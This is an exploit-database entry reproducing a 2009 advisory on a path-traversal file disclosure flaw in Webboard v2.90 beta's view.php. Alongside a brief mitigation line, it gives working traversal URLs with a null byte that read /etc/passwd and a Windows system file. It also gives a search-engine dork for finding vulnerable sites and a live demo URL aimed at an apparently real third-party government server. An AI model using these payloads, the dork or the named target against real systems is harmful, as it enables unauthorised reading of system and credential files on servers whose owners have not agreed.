header-logo
Suggest Exploit
vendor:
Webboard
by:
MrDoug
7,5
CVSS
HIGH
Remote File Disclosure
22
CWE
Product Name: Webboard
Affected Version From: v.2.90 beta
Affected Version To: v.2.90 beta
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2009

Webboard <= v.2.90 beta Remote File Disclosure Vulnerability

There are 3 vulnerable calls to fopen() in "/webboard/view.php". They are on lines 7, 109 and 113. Due to the trailing ".txt", retrieving files with different extensions will be difficult unless you are able to get a null byte through without it being escaped.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in a file operation.
Source

Exploit-DB raw data:

Webboard <= v.2.90 beta Remote File Disclosure Vulnerability

=============================================================

Author: MrDoug
Email: mrdoug13 [at] gmail [dot] com

Greetz to all my friends

=============================================================

There are 3 vulnerable calls to fopen() in "/webboard/view.php"
They are on lines 7, 109 and 113.  I have not actually read the
source but based on tests I would GUESS they look something
like this...


  7: fopen('title/' . $_GET['topic'] . '.txt');

...

109: fopen('counter/read/' . $_GET['topic'] . '.txt');

...

113: fopen('counter/read/' . $_GET['topic'] . '.txt');


IMPORTANT:
Due to the trailing ".txt", retrieving files with different
extensions will be difficult unless you are able to get a
null byte through without it being escaped.

=============================================================

Example 1: /webboard/view.php?topic=../../../../../../etc/passwd%00
Example 2: /webboard/view.php?topic=../../../../../../WINDOWS/system32/eula

Dork: inurl:"webboard/view.php?topic="

Demo: http://korat.nfe.go.th/ksn00/webboard/view.php?topic=../../../../../../WINDOWS/system32/eula

# milw0rm.com [2009-05-29]